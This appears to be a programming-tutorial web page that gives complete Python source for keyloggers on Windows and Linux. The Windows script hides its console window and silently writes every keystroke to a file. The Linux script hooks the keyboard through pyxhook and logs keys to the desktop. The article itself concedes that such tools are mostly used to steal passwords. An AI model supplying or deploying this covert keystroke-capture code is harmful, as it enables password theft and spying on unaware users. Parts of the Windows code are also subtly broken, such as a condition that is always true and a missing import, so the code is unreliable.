Design a Keylogger in Python Last Updated : 28 Jun, 2022 Comments Improve Suggest changes Like Article Like Report Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords.This article illustrates designing a keylogger for windows and Linux. Keylogger for Windows Download some python libraries 1) pywin32 2) pyhook'Following is the code to create a keylogger in python Python3 # Python code for keylogger # to be used in windows import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f = open('c:\output.txt', 'r+') buffer = f.read() f.close() # open output.txt to write current + new keystrokes f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages() Save the file in C:\ as Keylogger.py and run the python file Output: The keylogger will be started in the background and save all the data on the log file "c:\output.txt". Keylogger in Linuxpyxhook requires python-Xlib. Install it if you don't have it already. sudo apt-get install python-xlib Download pyxhook library Python3 # Python code for keylogger # to be used in linux import os import pyxhook # This tells the keylogger where the log file will go. # You can set the file path as an environment variable ('pylogger_file'), # or use the default ~/Desktop/file.log log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log') ) # Allow setting the cancel key from environment args, Default: ` cancel_key = ord( os.environ.get( 'pylogger_cancel', '`' )[0] ) # Allow clearing the log file on start, if pylogger_clean is defined. if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: # File does not exist, or no permissions. pass #creating key pressing event and saving it into log file def OnKeyPress(event): with open(log_file, 'a') as f: f.write('{}\n'.format(event.Key)) # create a hook manager object new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard() try: new_hook.start() # start the hook except KeyboardInterrupt: # User cancelled from command line. pass except Exception as ex: # Write exceptions to the log file, for analysis later. msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg)) Output: The keylogger will be started in the background and save all the data on the file.log file "/home/Akash/Desktop". References https://en.wikipedia.org/wiki/Keystroke_logging Comment More infoAdvertise with us Next Article Design a Keylogger in Python A Akash Sharan Improve Article Tags : Misc Technical Scripter Python Python-projects Practice Tags : Miscpython Similar Reads Python Arcade - Handling Keyboard Input In this article, we will discuss how to handle keyboard inputs in Python arcade module. In Arcade, you can easily check which keyboard button is pressed and perform tasks according to that. For this, we are going to use these functions: on_key_press()on_key_release() Syntax: on_key_press(symbol,mod 4 min read Python Keywords and Identifiers Every language contains words and a set of rules that would make a sentence meaningful. Similarly, in Python programming language, there are a set of predefined words, called Keywords which along with Identifiers will form meaningful sentences when used together. Python keywords cannot be used as th 10 min read Logging in Python Logging is a means of tracking events that happen when some software runs. Logging is important for software developing, debugging, and running. If you don't have any logging record and your program crashes, there are very few chances that you detect the cause of the problem. And if you detect the c 8 min read Keyword Module in Python Python provides an in-built module keyword that allows you to know about the reserved keywords of python. The keyword module allows you the functionality to know about the reserved words or keywords of Python and to check whether the value of a variable is a reserved word or not. In case you are una 2 min read Keyboard module in Python Python provides a library named keyboard which is used to get full control of the keyboard. It's a small Python library which can hook global events, register hotkeys, simulate key presses and much more. It helps to enter keys, record the keyboard activities and block the keys until a specified key 2 min read Like